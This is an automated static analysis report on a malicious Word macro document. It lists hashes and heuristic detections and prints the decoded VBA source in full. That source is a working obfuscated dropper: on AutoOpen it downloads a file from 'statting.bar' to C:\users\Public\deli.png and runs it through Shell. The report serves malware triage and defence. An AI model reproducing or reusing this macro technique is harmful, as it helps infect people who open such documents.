Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 00fdb2b6f1edeff8…

MALICIOUS

Office (OOXML)

211.2 KB Created: 2021-02-07 17:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-20
MD5: b75b7f5ebe7e94838f20f85f27a1139a SHA-1: 15f07ecdc41c4b6e54c06d99194d2b8001d896bc SHA-256: 00fdb2b6f1edeff89fde42c00e23ec37a7a00cf92ebe7ae172c0365a459698ea
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          VBA.Shell$ TrustRemove & Trim(CopySelectProcedure)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
      PtrTemp = sreqinstance.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set StoragePaste = CreateObject(TrustRemove)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2457 bytes
SHA-256: 766541932892e9d6ae2a956654d2329efd581aa2fab8263f2dc89b7c82040427
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 UiComponent2.OptionButton1_Click
End Sub

Attribute VB_Name = "UiComponent2"
Attribute VB_Base = "0{E9350EAE-BFA7-4BF5-A41C-83D1378253C0}{F23BE392-23C2-4135-8C45-67F91F83277F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public CopySelectProcedure
Public ValueProcListbox
Public reqmethod


Private Sub CommandButton1_Click()
ListBox1.AddItem (Image1.ControlTipText)
ListBox1.AddItem ("://statting.bar/header.jpg")
End Sub


Private Sub ListBox1_Click()
UiComponent2.CopySelectProcedure = "C:\users\Public\" + "deli.png"
 UiComponent2.ValueProcListbox = "https"
 UiComponent2.reqmethod = "GET"
 X32Swap = 1
 
 Dim StoragePaste As Object
 Dim BufferReference As Object
 

 For Each TrustRemove In ListBox1.List
    If X32Swap = Len("E") Then
      Set StoragePaste = CreateObject(TrustRemove)
      CopySwapResponse StoragePaste, reqmethod, UiComponent2.ValueProcListbox & ListBox1.List(3)
    End If
    
    If X32Swap = Len("EE") And 1 = 1 And Len("Q") = 1 Then
        Set BufferReference = DeleteButtonConst(TrustRemove + Trim("a") + Trim("m"))
        BufferReference.Write PtrTemp(StoragePaste)
        BufferReference.SaveToFile$ CopySelectProcedure, 2
    End If
    
    If X32Swap = Len("FFF") Then
      VBA.Shell$ TrustRemove & Trim(CopySelectProcedure)
    End If
    
    X32Swap = X32Swap + 1
 Next
End Sub

Function DeleteButtonConst(str)
  Set DeleteStoragePtr = CreateObject(str)
  DeleteStoragePtr.Open
  DeleteStoragePtr.Type = 1
  Set DeleteButtonConst = DeleteStoragePtr
End Function

Function CopySwapResponse(ConvertLeft, DataW, ClearAScreen)
   ConvertLeft.Open DataW, ClearAScreen, False
   ConvertLeft.Send
End Function

Function PtrTemp(sreqinstance)
  PtrTemp = sreqinstance.ResponseBody
End Function

Public Sub OptionButton1_Click()
ListBox1.AddItem (CommandButton1.Tag)
 ListBox1.AddItem (CheckBox1.Tag)
 CommandButton1_Click
 ListBox1_Click
End Sub

Private Sub skuid_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 93184 bytes
SHA-256: efd08cab820689a1f31db4289ec199e62d9980819ea48674c48e74c31b5131ad